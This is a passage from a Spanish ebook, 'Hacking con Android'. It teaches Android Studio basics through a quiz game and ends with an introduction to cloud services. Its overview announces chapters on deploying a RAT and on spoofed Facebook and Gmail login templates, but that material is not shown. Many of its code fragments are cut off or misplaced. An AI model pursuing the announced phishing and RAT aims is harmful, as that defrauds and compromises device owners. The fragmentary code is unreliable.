Untitled
Untitled
2
HACKING CON ANDROID
3
TABLA DE CONTENIDOS
Creación de una App enfocado a la seguridad………8
Instalación del programa Android Studio 2.3.2………...11
4
Capítulo 5: Aplicaciones Web en Android
Como montar un Rat………………………………………...124
Subir la app a la web………………………………………..126
Descargar la app…………………………………………….139
Capítulo 6: Android en redes sociales
Creación de plantillas……………………………………….142
Uso de las redes sociales……………………………………161
Diferencia en el desarrollo de aplicaciones Android con
iOS……………………………………………………………….164
Android NDK…………………………………………………...170
Aplicaciones web…………………………………………….177
Seguridad dentro las Aplicaciones web…………………180
Demostración de la Aplicación……………………………191
5
Introducción a Android
Es un sistema operativo basado en Linux que se caracteriza
por ser libre y multiplataforma.
Creado para dispositivos móviles permite el control de estos
por medio de librerías desarrolladas por Google en lenguaje
de programación Java.
En sus inicios Android fue adquirido por Google, quienes
continuaron desarrollando el sistema operativo hasta que se
unió al Open Handset Alliance, un conglomerado de 48
compañías de hardware, telecomunicaciones y software con
los que se acordó estandarizar los códigos abiertos para
dispositivos móviles.
Es por esta razón que Android es definido como un sistema
operativo de código abierto en donde cualquier
desarrollador puede crear aplicaciones en lenguajes diversos
para el API (Application programming interface) de Android.
Una de las claves de la popularidad de Android es que, como
Linux, es una plataforma de código abierto, lo que permite a
fabricantes, operadores y desarrolladores dar mayor
funcionalidad a sus Smartphone.
La técnica utilizada para el desarrollo del trabajo será la
recopilación de múltiples fuentes de información, de revista,
foros de opinión, libros sobre informática, todas ellas
relacionadas con el universo Android.
6
¿Por qué utilizar Android Studio 2.3.2?
Es un programa que te permite desollar aplicaciones móviles
para la plataforma de Android. El 16 de mayo del 2013 fue
anunciado por Google como la principal herramienta de
programación.
Está basado en el software IntelliJ IDEA de JetBrains, Se puede
correr en los sistemas operativos: Windows, Mac OS X y Linux.
Los requisitos que necesitamos para poder utilizar esta
herramienta son:
4 GB de RAM
400 Mb de espacio libre en el disco duro
1 GB para Android SDK
Java Development kit 7
7
Aplicaciones Móviles enfocadas a la
seguridad de informática:
En la actualidad la mayoría de las personas tiene acceso un
celular, el cual contiene distintas aplicaciones, mismas donde
existe una oportunidad de realizar diversos ataques con la
finalidad de vulnerar el dispositivo y por medio de estos
obtener datos.
Siendo Android un sistema de código libre, no se toma en
cuenta los riegos que contiene su uso, ya que con esto
algunos desarrolladores pueden ejecutar códigos maliciosos.
Atreves del presente libro desarrollaremos diversos ataques,
con la finalidad de obtener información que ayude lograr
nuestro objetivo.
Comenzaremos desde cero y poco a poco avanzando hasta
tener finalizada nuestra aplicación.
*
*
*
*
*
*
*
*
*
*
*
*
*
8
-- Aplicación Móvil --
Lo que se cubre en nuestro libro:
Capítulo 1: Introducción a una aplicación: En este capítulo
nos empezaremos adentrar a mundo de la programación
con las aplicaciones, la herramienta que emplearemos será
Android Studio, veremos algunos conceptos básicos como
emplear botones, etiquetas y plantillas, diseñáremos nuestra
interfaz desde cero, veremos el uso de las barras de acción lo
utieles que son, también veremos automatizado las
animaciones empleándolo en nuestra aplicación móvil.
Capítulo 2: Diseño personalizado de vista: En este capítulo
hablaremos de los conceptos más básicos al momento de
crear nuestras View, hablaremos sobre algunos de los archivos
que están en Android Studio, sus funcionalidades y como nos
ayudan al manejo de nuestra aplicación Android, definiremos
algunas caracterices que deberá tener una aplicación para
mayor comodidad del usuario, empezaremos a programar en
los archivos Java, así mismo veremos la creación de atributos.
Capítulo 3: Programación basada en eventos de ejecución
de usuario: En esta parte hablaremos de lo importante que
son las estructuras al momento de crear nuestra aplicación
desde cero a su vez tocaremos algunos conceptos muy
básicos dentro de la programación solo para recordar la
secuencia y como los podemos emplear. Veremos un poco
de la programación dirigida a eventos, tener una continuidad
de nuestra aplicación móvil, seguir con la creación de nuestra
aplicación móvil editando los archivos Java y relacionándolos
para que tenga una buena ejecución.
Capítulo 4: Comunicación en la nube: Este es uno de los
capítulos más actualizados ya que manejamos la tecnología
más reciente considero que es una buena opción el poder
subir tus archivos a servidores y poderlos usar donde sea y
donde sea, pero al hacer eso implica también riego, no
tenemos la certeza de que nuestros documentos están
protegidos al 100%, en la actualidad Google nos ofrece una
9
opción de manejar la nube, vincula con la cuenta Gmail, me
parece una opción importante.
Capítulo 5: Aplicaciones Web en Android: En este capítulo
hablaremos de una de las vulnerabilidades que tiene Android,
al ser código libre, implica menor seguridad y a su vez
muchas personas toman ventaja de ello, en esta sección
veremos que un rat, como lo podemos emplear, alguna de
sus funcionalidades, es uno de los vectores de ataque que se
verá en este libro, utilizando uno de los rat`s más actualizados.
Capítulo 6: Android en redes sociales: Para finalizar el libro
hablaremos en un segundo caso de vector de taque, que en
este caso serán las redes sociales, lo realizaremos mediante la
técnica de Spoofing, creando plantillas 100% reales y
funcionales, estas plantillas las introduciremos a nuestra
aplicación móvil, crearemos plantilla para Facebook y Gmail.
10
Proceso de instalación de Android Studio 2.3.2
El material será proporcionado por el equipo de Hacking
México, lo siguiente será ubicar nuestra herramienta, “Imagen
1.1”:
11
A continuación, aparecerá la siguiente ventana y lo vamos a
dejar tal y como está solo daremos next, “Imagen 1.3”:
12
En la siguiente venta visualizaremos donde se a guardar el
programa si todo está en orden solo de damos next, “Imagen
1.5”:
13
Y esperamos a que finalice el proceso de instalación,
“Imagen 1.7”:
14
Le damos en el botón next para finalizar la instalación y por
ultimo nos parecerá esta ventana, “Imagen 1.9”:
15
Comenzamos por crear un nuevo proyecto en mi caso se va
llamar aplicación ponemos el nombre y le vamos a dar en
next, “Imagen 1.11”:
16
Una vez que le demos en next nos aparecerán los siguientes
recuadros y aligeremos esta forma, “Imagen 1.13”:
17
¿Dónde se guardarán nuestros proyectos de Android Studio?
Nos dirigimos a el disco local C: que en mi caso es donde se
instaló el programa Android Studio y nos vamos a la carpeta
de Usuarios, “Imagen 1.15”:
18
Vamos a ver el caso cuando aún no tengas un emular en
Android Studio, ya que si no lo tienes no podrás correr tu
aplicación móvil y para esto el primero paso será el siguiente,
vamos a entrar a Android Studio y vamos a este icono:
19
Al momento de que le demos clic NEXT y vamos a continuar
con la siguiente parte de la creación del emulador:
20
En esta parte podemos tener más detallas como editar la
RAM, la memoria y con más funcionalidades.
Una vez que ya tengamos todos los datos de nuestro teléfono
como lo deseamos el siguiente paso será finalizar y con eso
ya obtendremos nuestro emulador:
21
Capítulo 1: Introducción
a una App
22
1.1.-Versiones y herramientas dentro de Android Studio
A lo largo del tiempo en los sistemas siempre surgen
actualizaciones con la finalidad de reparar los errores de los
anteriores.
Teniendo un mejor desempeño para los usuarios ya que es el
mismo caso para las aplicaciones y tal es caso de Android
estudio que tiene una opción que nos muestra todas las
versiones de Android que sean hecho hasta el momento.
Vamos a mostrar las versiones de Android, para que en
determinado momento si gustan cambiar la versión del
sistema, sepan cómo realizarlo, para ello ya debemos tener
un proyecto nuevo y nos vamos a dirigir a esta parte “donde
está el recuadro rojo”, “Imagen 1.18”:
23
Pero nosotros vamos a realizar nuestra aplicación con la
versión más actual de Android.
Una vez que tengamos nuestra aplicación finalizada será
cuestión de cada uno si es que deseamos dar un
mantenimiento es decir nuevas actualizaciones para reforzar
nuestra aplicación e irle quitando poco a poco los errores
que se encuentren dentro de ella.
Dentro de Android Studio tiene diversas herramientas que a lo
largo que vallamos a desarrollando explicaremos su
funcionalidad y para que nos puede ser útil.
24
1.2.-Diseño de interfaces
Para poder comenzar primero es necesario aclarar ¿Que es
una interfaz?
Se conoce como “superficie de contacto” y se utiliza para
nombrar a la conexión funcional entre dos sistemas,
programas, dispositivos o componentes de cualquier tipo, que
proporciona una comunicación de distintos niveles
permitiendo el intercambio de información.
En la área de informática se conocen como interfaces de
usuario (entre computadora y persona) como sería una
pantalla o un ratón (si hablamos de hardware) o la ventana
gráfica de un programa con la que interactuamos.
Una vez ya tengas el proyecto creado comenzaremos con la
parte de principal de nuestra aplicación, esta parte va ser
nuestro menú principal, cuando una actividad ha de dibujar
su layout, en el sistema comienza por el nodo raíz del layout.
El primer paso que vamos a realizar es elegir una imagen en
mi caso como vamos a realizar un juego de ¿Adivina tu
Hacker?, la imagen que elegiré será esta “Imagen 1.20”:
25
Para poder poner nuestra imagen de fondo lo que vamos a
realizar es en la parte izquierda hay una opción que se
encuentra como proyect la desplegamos y dentro de ella
hay una opción que esta como app la desplegamos y nos
vamos a la parte donde dice “res” de igual forma
desplegamos y podemos observar hay diversas carpetas,
“Imagen 1.21”:
26
Le damos clic y pode ver que hay otras carpetas por el
momento nos vamos a centrar en nuestra carpeta drawable,
“Imagen 1.23”:
27
Ahora nos vamos a dirigir a la parte derecha en properties y
buscamos la opción backgrour, “Imagen 1.26”:
28
Ya que la tenemos seleccionada de damos en el botón de ok
y nos quedará de esta forma, “Imagen 1.28”:
29
1.3.-Uso de botones, etiquetas, plantillas
Empezare por definir que es un botón y su finalidad dentro de
la aplicación:
Es una metáfora común, utilizada en interfaces gráficas con
objetivo similar al de un botón corriente. Los botones suelen
ser representados como rectángulos con una leyenda
o icono dentro, generalmente con efecto de relieve.
Los botones interactúan con los usuarios aprobando alguna
petición.
30
Una platilla o dispositivo de interfaz, suele proporcionar una
separación entre la forma o estructura y el contenido. Es un
medio o aparato o sistema, que permite guiar, portar, o
construir, un diseño o esquema predefinido.
Una plantilla agiliza el trabajo de reproducción o de muchas
copias idénticas o casi idénticas (que no tiene que ser tan
elaborado, sofisticado o personal). Si se quiere un trabajo más
refinado, más creativo, la plantilla no es sino un punto de
partida, un ejemplo, una idea aproximada de lo que se
quiere hacer.
Las plantillas, como norma general, pueden ser utilizadas por
personas o por sistemas automatizados. Se utilizan plantillas en
todos los terrenos de la industria y la tecnología. Una plantilla
puede servir como muestra base de una diversidad sobre la
que comparten elementos comunes (patrón) y que en sí es lo
que constituye la plantilla.
31
Ahora que tenemos algunos conceptos claros lo que vamos
hacer dentro de nuestra aplicación será dirigirnos a la parte
de Widgets y vamos a elegir un TextView, “Imagen 1.32”:
32
La desplegamos y nos dirigirá directo al código donde
cambiaremos los nombres de nuestro TextView y del Button,
“Imagen 1.35”;
33
Una vez que cambiemos el nombre de los botones nos
quedara de tal forma: “Imagen 1.37”:
Recomendación:
Es muy importante que vallamos checando que nuestra
aplicación no tenga errores si no al momento de correrla no
va jalar y para encontrar el error va ser un poco complicado.
Sigan los pasosos tal cual como están.
Para ver si nuestra aplicación contiene errores o no es, en la
parte media arriba de donde se ve nuestra aplicación a lado
de donde está el zoom, “Imagen 1.36”:
34
Imagen 1.36, Errores en la aplicación
35
Una vez que estemos en la carpeta daremos doble clic y nos
aparecerá en menú de opciones la cual le daremos en New
y después en Layout resource file, “Imagen 1.38”:
36
Y obtendremos una venta nueva, “Imagen 1.40”
37
Una vez nos abrirá todo el contendió que podemos realzar,
pero en este caso nos vamos a dirigir a backgroud y le
daremos en los 3 puntitos, “Imagen 1.42”:
Después nos dará una venta con la gama de colores que nos
ofrecen ya no es necesario buscar los colores en HTML
automáticamente el programa ya teda el número que le
corresponde al color, “Imagen 1.43”:
38
La nueva venta nos quedara de esta nueva forma, “Imagen
1.43”:
1.4.-Animaciones
Es el proceso de cambiar propiedades de un objeto como el
tamaño, la forma o el color en un intervalo de tiempo de
tal manera que el cambio parezca continuo.
39
El método de interpolación determinara la función
matemática utilizada para variar la propiedad entre los
valores inicial y final.
También llamada animación digital, animación
informática o animación por ordenador: es la técnica que
consiste en crear imágenes en movimiento mediante el uso
de una computadora. Cada vez más los gráficos creados son
en 3D, aunque los gráficos en 2D todavía se siguen usando
ampliamente para conexiones lentas y aplicaciones en
tiempo real.
Algunas veces el objetivo de la animación es
la computación en sí misma, otra puede ser otro medio,
como los diagramas de infografía o una película. Los diseños
se elaboran con la ayuda de programas de diseño,
modelado.
Android tiene algunos métodos de interpolación definidos es
posible crear personalizados.
También es posible encadenar múltiples animaciones usando
la propiedad android:startOffset para ejecutarlas en un orden
especifico.
View Animations:
Las animaciones de vista son transformaciones donde se
especifica la propiedad a cambiar y un intervalo de tiempo y
Android se encargará de interpolar la variable en los rangos
especificados.
La animación se define un xml especificando la propiedades
y valores de configuración. Pueden definirse cuatro tipos
diferentes de transformaciones
(<alpha>, <scale>, <translate>, <rotate>).
Las animaciones de vista se declaran en la carpeta de
recursos Anim.
Para animar un objeto
usamos AnimationUtils.loadAnimation que carga la definición
(xml) de la configuración de la animación, e iniciamos su
ejecución en el componente deseado.
40
Lo interesante de la programación es que podemos darle
movimiento con solo programar los objetos que veremos
algunos ejemplos y también como es muy importante este
concepto dentro de nuestra apelación.
A continuación, mostraré un ejemplo de cómo podemos
aplicar las animaciones en el medio de la programación:
Programa moviendo un circulo izquierda-> derecha
import Graphics.Gloss
main :: IO ()
main = animate (InWindow "Moviendo un circulo" (500,500)
(20,20))
green animacion
Programa reloj
import Graphics.Gloss
main :: IO ()
main = animate (InWindow "Reloj" (500,500) (20,20)) green
animacion
41
Ahora vamos a inserta un TextView para poner el número de
intento que lleva el participante, “Imagen 1.44”:
42
En el siguiente paso agregaremos un LinearLayout y adentro
de este agregaremos un TextView y un Button, “Imágenes 1.47
y 1.48”:
43
1.5.- Automatizado las animaciones
Las visualizaciones han sido siempre consideradas como un
elemento de interés para el aprendizaje de la algoritmia. Por
su parte, las visualizaciones animadas permiten dar un salto
hacia adelante frente a representaciones estáticas al suponer
una fuente de información más completa, que permite ver de
una forma clara el transcurso de la ejecución de los
algoritmos.
Es importante mencionar que diseñáramos lo mejor posible,
estos son algunos conceptos básicos que con el paso del
tiempo iremos mejorando, un ejemplo de estas animaciones
automatizadas son los video juegos para tener un mejor
diseño de visualización.
Y para esto en la actualidad hay muchos programas que son
de gran utilidad en cuestión al diseño por computadora,
desde lo más básico hasta lo más complejo.
44
1.6.- Animaciones de propiedades
A partir de la versión 3.0 de Android se han incorporado un
nuevo tipo de animaciones.
A diferencia de las animaciones Tween que solo es
aplicable a vistas, una animación de propiedades puede
animar cualquier tipo de objetos.
Además, no está restringido a las cuatro transformaciones
antes vistas, podemos animar cualquier propiedad del
objeto.
Por ejemplo, podemos hacer una animación que cambie
progresivamente el color de fondo de una vista.
Otra diferencia con respecto a las animaciones Tween, es
que estas solo modifican la forma en que la vista es
representada, pero no sus propiedades.
Si aplicas una animación Tween para que un texto se
desplace por la pantalla, se visualizará correctamente,
pero al acabar la animación el texto estará en el lugar
inicial. Lo que te obligará a implementar tu propia lógica
para manejar este cambio de posición.
En una animación de propiedades estará cambiando el
objeto en sí, no solamente cómo se representa.
45
Ahora vamos a crear una tercera venta que se llame créditos,
con el mismo fondo azul, donde vamos a poner por quien fue
desarrollado y un poco sobre las instrucciones del juego.
46
1.7.-Barras de Acciones
Es un elemento dedicado, que muestra el estado o ubicación
actual dentro de la aplicación y por lo general siempre está
visible en todas las actividades de la aplicación.
47
Las barras de acciones se dividen en 4 áreas fundamentales:
Icono de la Aplicación:
Establece a identidad de la app. Puede ser reemplazado con
un logotipo.
Recomendación: Si en la aplicación no se muestra
actualmente en la parte superior del emulador, hay que
asegurarnos de que se muestre el botón subir “Signo de
intercalación”, a la izquierda del icono para que los usuarios
puedan navegar escalando posiciones en la jerarquía de la
aplicación.
Control de vista:
Si tu aplicación muestra información en diferentes vistas, esta
parte de barras de acción te permitirá cambiar entra vistas,
como ejemplo los cambios de vista son los menús
descendentes.
Botones de acción:
Muestra las acciones más importantes en la aplicación, las
acciones que no quepan en las barras de acción se moverán
al menú overflow de acciones.
Un toque de presión larga sobre un icono muestra el nombre
de la acción.
48
Menú overflow de acciones:
Mueve las acciones que suelen utilizarse menos a este menú.
Consideraciones de las disposiciones de las barras de
acciones divididas:
Cuando divides el contenido en varias barras de acciones,
generalmente hay tres posibles ubicaciones para el
contenido de la action bar.
1. Action bar principal.
2. Barra superior.
3. Barra inferior.
49
Ahora el siguiente paso va ser crear los archivos java y la ruta
que vamos a seguir para ello es la siguiente: Vamos a la
carpeta Java del lado izquierdo, “Imagen 1.51”:
50
Que nos aparecerá una venta como esta, donde ya
empezaremos a desarrollar, “Imagen 1.54”:
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.Window;
/**
* Created by Monse Ortiz on 10/07/2017.
*/
51
Y de igual forma para el Java Class, “creador”, “Tal y como
está el código”:
package com.example.monseortiz.appli;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
import android.view.Window;
/**
* Created by Monse Ortiz on 10/07/2017.
*/
52
Lo que tenemos en AndroidManifest.xml, “Imagen 1.56”:
<activity
android:name=".Creador"
android:label="@string/app_name"
android:theme="@style/AppTheme.NoActionBar">
</activity>
53
De esta forma nos quedaría el AndroidManifest.xml y el
síguete paso sería programar los botones en Appli para que
tome en cuenta las ventanas que ya diseñamos antes que
son Principal y Creador, “Tal y como está el código”:
54
Capítulo 2: Diseño
personalizado de vistas.
55
2.1.- Conceptos básicos
Entrada y Controles:
56
Grupos de Vistas o View Groups:
Grupos de vistas:
LinearLayout
o Agrupa los elementos en una sola línea, que puede
ser vertical u horizontal.
RelativeLayout
o Los elementos se disponen en relación entre ellos y
los márgenes. Es la más flexible, y la más utilizada.
ScrollView
o Se utiliza para vistas que no caben en pantalla.
Sólo puede contener una vista o grupo de vistas, y
añade automáticamente las barras de
desplazamiento.
TableLayout
o Agrupa los elementos en filas y columnas. Contiene
elementos TableRow, que a su vez contienen los
elementos de cada celda.
57
FrameLayout
o Está pensada para contener una sola vista. Si se
añaden más, todas se alinean en la esquina
superior izquierda, solapándose.
AbsoluteLayout
o Está desaprobado desde la versión 1.5 de Android.
En este contenedor, los elementos se referencian
con coordenadas absolutas partiendo de la
esquina superior izquierda. Se ha desaprobado
porque no se adapta a pantallas de diferentes
tamaños, que se popularizaron justamente a partir
de Android 1.5.
58
2.2.- Creación de atributos
59
Para poder manejar nuestros propios atributos, debemos
crear un nuevo archivo XML, que contendrá nuestros atributos
personalizados, a los que posteriormente podremos dar un
valor en el archivo XML, en que hagamos uso de nuestro
control personalizado. Este fichero que contendrá los atributos
personalizados es un archivo de recursos, por lo que lo
creamos en la carpeta de values.
Ejemplo:
<resources>
<declare-styleable name="SliderAtributes">
<attr name="android:entries" />
<attr name="onClickPrevButton" format="string" />
<attr name="onClickNextButton" format="string" />
</declare-styleable>
</resources>
init();
}
60
private void init() {
// En primer lugar inflamos la vista de nuestro control
personalizado. Al método iniflate
// le pasamos el layout de nuestro control, el ViewGroup al
que pertenecerá la vista (this)
// y si se debe añadir a este ViewGroup (en este caso sí).
((LayoutInflater) getContext().getSystemService(
Context.LAYOUT_INFLATER_SERVICE)).inflate(
R.layout.slider_customer_details, this, true);
61
2.3.- Definición de características Widgets
Widgets:
62
Algunos de los widgets que se usan con más frecuencia:
63
DatePicker y TimePicker: Widgets que permiten
seleccionar una fecha o una hora, respectivamente.
Para seleccionar fechas se ha añadido recientemente a
la API el widget ClendarView, que muestra el típico
calendario y permite seleccionar una fecha sobre él.
Nota:
64
2.4.- Una vista creada desde cero
¿QUÉ ES UN VIEW?
Es un componente que permite controlar la interacción del
usuario con la aplicación. Estos son muy similares a los
controles, como Labels, Buttons, TextFields, Checkboxes, etc.
Los Views son organizados dentro de los Layouts para que el
usuario comprenda los objetivos de la actividad.
65
La interfaz visual de nuestro programa para Android se
almacena en un archivo XML en la carpeta res, subcarpeta
layout y el archivo se llama activity_main.xml. En esta carpeta
tenemos creada nuestra primera pantalla.
Al seleccionar este archivo el Android Studio nos permite
visualizar el contenido en "Design" o "Text", es decir en vista de
diseño o en vista de código.
Vista de diseño:
66
A partir de la versión 2.2 de Android Studio tenemos la vita
“blueprint” que nos muestra una interfaz simplificada muy útil
cuando tenemos pantallas complejas que veremos más
adelante. Podemos ver solo la vista de diseño o “blueprint”
seleccionando alguno de los botones que aparecen aquí:
Vista de código:
67
Para ejecutar la aplicación presionamos el triángulo verde o
seleccionamos del menú de opciones Run app y entra
ventana procederemos a dejar seleccionado el emulador por
defecto que aparecerá “Nexus 5X” y presionamos l botón de
OK.
Nota:
Si no se tiene ningún emulador se crea uno.
Es importante tener en cuenta que una vez que el emulador
se ha arrancado no lo debemos cerrar hasta que lo
terminemos de probar, cada vez que hacemos cambios en
nuestra aplicación o codificamos otras aplicaciones lo
cerramos y lo volvemos abrir. Sino al momento que volvemos
a ejecutar la aplicación con los cambios y al estar el
emulador corriendo el tiempo que tarda hasta que aparece
nuestro programa en el emulador es muy reducido.
68
Y por último tendremos nuestra aplicación corriendo.
69
2.5.- Visualización de tamaños en Android
Tamaño de la pantalla:
70
tamaños de pantalla reales, en cuatro tamaños
generalizados: small, normal, large, and extra large.
Densidad de pantalla:
Orientación:
Resolución:
71
dimensiones de diseño o de la posición de una manera
independiente.
72
Ahora en resumen ya tenemos diseñada gran parte de la
estructura de nuestra aplicación con forme vamos
avanzando le daremos mejores toques a la aplicación para
que luzca mejor, ya empezamos con la programación de los
botones y para que nuestra aplicación valla teniendo forma y
una respectiva secuencia.
Es muy importante respetar el código para que pueda
funcionar nuestra aplicación de lo contrario tendrá miles de
errores.
Ahora el siguiente paso va consistir en seleccionar las
imágenes de los Hackers que van están dentro del juego por
mínimo pondremos 6 en mi caso serán 10 imágenes y después
las editaremos para darle un toque especial a nuestro juego.
Las Imágenes que utilizare son las siguientes:
73
74
Ahora una vez que tengo mis imágenes las voy a editar para
que las pueda incluir en la aplicación, hay que tratar de
darles un efecto especial para que se vea lo más real posible
y que se vea interesante nuestro juego:
75
En las imágenes trate de darle forma de sombra y con el
signo de interrogación muy típico del juego de ¿Adivina
quién?, en mi caso son 10 imágenes para mi juego.
Cabe mencionar que todas las imágenes que diseñemos
para nuestra aplicación deben ser del mismo tamaño, para
que no se distorsionen al momento de montarlas en Android
Studio.
76
Ya que tenemos nuestras imágenes preparadas en la venta
de juegar.xml que debería de estar de esta forma, “Imagen
1.57”:
77
Le damos clic y nos va a parecer una ventana como esta,
“Imagen 1.59”:
78
Y hay tendremos nuestros string con la respectiva tracción y
esto lo podemos realizar para cualquier activity.
En mi caso solo tengo una carpeta de values, “Imagen 1.61”:
79
Le damos clic en Show in Explorer y nos aparecerá una
ventana como esta, “Imagen 1.63”:
80
Y si nos vamos a Android Studio nos aparecerán nuestras 10
Imágenes, “Imagen 1,64”:
81
Ahora ya que tenemos todas nuestras imágenes arriba en la
plataforma nos vamos a dirigir al código Java, que en este
caso sería a “Principal” y vamos a hacer lo siguiente,
declararemos dos variables privadas con los 10 nombres de
los hackers, “Imagen 1.66”:
Nota:
Hay que tener en cuenta que en total serian 20 imágenes y
vamos a dividir las dos variables una en nombre_hackers y la
otra, nombre_ sombra:
82
Y también declararemos lo siguiente en la misma ventana
“Principal”, “Imagen 1.68”:
83
Ahora vamos a generar un variable que sea aleatoria y
vamos a declarar otra variable que se llame
numero_generado=0, “Imagen 1.70”:
84
Hace falta el ImageVIew donde vamos a mostrar las
imágenes y de igual forma lo relacionamos, “Imagen 1.72”:
85
De tal forma que nos quede así todo el código, por ahora a
un nos faltan algunos detalles:
}
});
}
private void establecer_sombra (int numero)
{
int resId= getResources().getIdentifier(nombre_sombra[
numero], "drawable", getPackageName());
mi_imagen.setImageResource(resId);
}
private int generaraletorio()
{
return (int)(Math.random()*nombre_hackers.length);
}
}
Nota:
Como ya se ha dicho antes, es muy importante seguir los
pasos tal y como están.
86
Capítulo 3:
Programación basada
en eventos de
ejecución de usuario.
87
3.1.-La interfaz de usuario de una aplicación Android
La interfaz de usuario de tu app es todo aquello que el
usuario puede ver y todo aquello con lo que este puede
interactuar.
88
Esta son algunas Interfaces de diversas compañías telefónicas
y cómo podemos ver la mayoría son igual no cambian
mucho, la intención es hacerlas llamativas.
Características de diseño:
89
Características especiales:
Funciones especiales:
90
Nota:
91
3.2.-Estructura de la aplicación
Arquitectura de la plataforma:
Android es una pila de software de código abierto basado en
Linux creada para una variedad amplia de dispositivos y
factores de forma. En el siguiente diagrama se muestran los
componentes principales de la plataforma Android.
92
Kernel de Linux:
95
usuario (existen algunas excepciones, como la app Settings
del sistema).
Las apps del sistema funcionan como apps para los usuarios y
brindan capacidades claves a las cuales los desarrolladores
pueden acceder desde sus propias apps. Por ejemplo, si en tu
app se intenta entregar un mensaje SMS, no es necesario que
compiles esa funcionalidad tú mismo; como alternativa,
puedes invocar la app de SMS que ya está instalada para
entregar un mensaje al receptor que especifiques.
gen- Son archivos que genera Java y por ninguna razón los
debemos tocar. Si lo hacemos, ya no van a servir y puede
que ni el proyecto sirva para más adelante. Cada vez que
compilamos, Java se encarga de actualizarlo y de generarlo
de nuevo. Dentro de gen encontramos 2 archivos: el
BuildConfig y R. El archivo R es el archivo que tiene los
identificadores de todo lo que tiene la aplicación, por
ejemplo, imágenes, campos de texto, botones, etc. Java le
asigna un identificador y nosotros no tenemos que
preocuparnos por él, ya que le colocamos un nombre común
que podamos recordar y Java sabe cómo se llama para
nosotros.
96
bin- Aquí tenemos archivos generados por el mismo Java,
que en realidad no los utilizamos y tampoco debemos
manipular, son archivos binarios como bien dice su nombre.
97
3.3.-Secuencia de operaciones
if (condición) {
ejecuta este codigo si se cumple
la condición;
}
98
que añadimos la palabra ELSE y otro juego más de llaves que
encierra el código a ejecutar si la condición NO se cumple:
if (condición) {
//ejecuta este codigo si se cumple
la condición
codigo SI;
}else{
//Ejecuta este codigo si la
condición no se cumple:
codigo NO;
}
99
switch (variable) {
case 0:
//codigo a ejecutar...
break;
case 1:
//Codigo a ejecutar...
break;
case 2:
//Codigo a ejecutar...
break;
default:
//Codigo a ejecutar si no se cumple ningún caso
anterior
break;
}
100
1.- Inicialización de la variable: Esta parte del bucle, solo se
ejecutará la primera vez.
While (condicion) {
101
}
102
Los Operadores lógicos tienen prioridad, se mostrará una
pirámide general que indica el orden en que deben
evaluarse:
Constructor:
El constructor tiene el nombre de como definimos la clase y
nunca tienen tipo de retorno a diferencia de un método. Es
importante diferenciar entre un método y un constructor.
Por lo regular siempre hay un constructor en cada clase, el
valor predeterminado le permite crear instancias de objeto
nuevo, sin tener que escribir un constructor.
Es recomendable que un constructor inicialice los atributos de
la clase a un que no tengan valor. En caso de que se quiera
inicializar un atributo en cero “valor numérico” siempre lo
declararemos de esta forma: “nombre del atributo = 0; En
caso de que un atributo que quiera inicializar a un valor nulo
“atributos que son objetos” lo declararemos de esta manera:
“nombre del atributo = null; Otro caso de inicializar un atributo
tipo texto es necesario inicializar vacío lo declararemos de
esta manera: “nombre del atributo = “”.
103
3.4.-Programación orientada a eventos
Los eventos son el medio como interactúa una clase con
otras o con el propio usuario, se encargan de avisar que algo
ha ocurrido y de manejarlo de una forma o de otra. Cada vez
que escribimos con nuestro teclado, que hacemos clic en un
botón o un link, que cambiamos el tamaño de un objeto,
estamos generando eventos. Es por ello que, cuando
programamos, debemos tener en cuenta la posibilidad, tanto
de manejar eventos que sólo implican a nuestra clase como
de generar nuestros propios eventos, de modo que los
usuarios de nuestras clases que puedan decidir cómo
reaccionará su código ante ellos.
Un poco de historia:
Arquitectura cliente-servidor:
Programación GUI:
106
El patrón Observer:
Programación asíncrona:
107
¿En qué consiste la emisión/recepción de eventos?
Básicamente, de lo que se trata es de avisar de algún cambio
en el estado de la instancia, que puede ser un clic en el
objeto, el final de un proceso de carga o la terminación de
algún complejo proceso. Esto es lo que conocemos
como broadcasting.
108
Ahora que ya avanzamos en la parte teórica vamos a
continuar editando nuestro archivo Java “Principal”, que,
quedándonos de tal forma, “Imagen 1.74”:
109
Vamos a continuar con el caso contrario del if, “Imagen 1.76”:
110
Y ya esto ahora si podremos declara nuestra variable para el
conteo del tiempo y como ya agregamos otro TextView,
también se declarará, “Imagen 1.78”:
Nota:
Al estar manejando CountDowTime es necesario agregar los
dos métodos que ya tiene predefinidos, si no lo hacemos nos
va a marcar un error.
Vamos a continuar editando la parte de espera, “Imagen
1.79”:
111
Ahora pondremos en la segunda parte para generar un
nuevo hacker, “Imagen 1.80”:
112
package com.example.monseortiz.appli;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.support.v7.app.ActionBarActivity;
import android.view.View;
import android.view.Window;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
/**
* Created by Monse Ortiz on 10/07/2017.
*/
113
"Intentos");
}
if (intentos==0)
{
finish();
}
}
});
}
public void esperar()
{
new CountDownTimer(5000, 1000) {
@Override
public void onTick(long millisUntilFinished) {
mensaje_cuenta.setText("Generando en " + (
millisUntilFinished/1000));
}
@Override
public void onFinish() {
numero_generado=generaraletorio();
establecer_sombra(numero_generado);
mensaje_cuenta.setText("");
usuario_hacker.setText("");
}
}.start();
}
private void establecer_hacker (int numero)
{
int resId= getResources().getIdentifier(nombre_hackers [
numero], "drawable", getPackageName());
mi_imagen.setImageResource(resId);
}
private void establecer_sombra (int numero)
{
int resId= getResources().getIdentifier(nombre_sombra[
numero], "drawable", getPackageName());
mi_imagen.setImageResource(resId);
}
private int generaraletorio()
{
return (int)(Math.random()*nombre_hackers.length);
}
}
114
Capítulo 4:
Comunicación con la
nube.
115
4.1.-Introducción de servicios en la nube
116
Hace algunos años, esta tecnología ha brindado ventajas
impensables, cuando lo realmente importante se centraba en el
poder de cómputo del hardware, ya que para la utilización de
estos servicios o "Cloud Apps" no será necesario invertir grandes
sumas de dinero en sofisticados y poderosos equipos informáticos.
117
Nube Privada: Son servicios de nube que se brindan
dentro de las empresas que necesitan alta protección de
datos y están gestionados por la propia empresa.
La empresa es la encargada de la configuración y el
mantenimiento de la nube. Todo el coste de
infraestructura corre por cuenta de la empresa, pero se
evita el pago por uso.
118
4.2.-Ventajas y Desventajas
119
¿Que debes tener en cuenta al contratar los servicios de la
nube?
120
4.3.-Servicios en la nube de google
Se puede decir que es un nuevo modelo de uso de los
ordenadores y dispositivos móviles. Ya que todo lo que
normalmente tendrías en tu ordenador, programas o archivos,
pasa a estar en servidores a los que puedes acceder
mediante Internet.
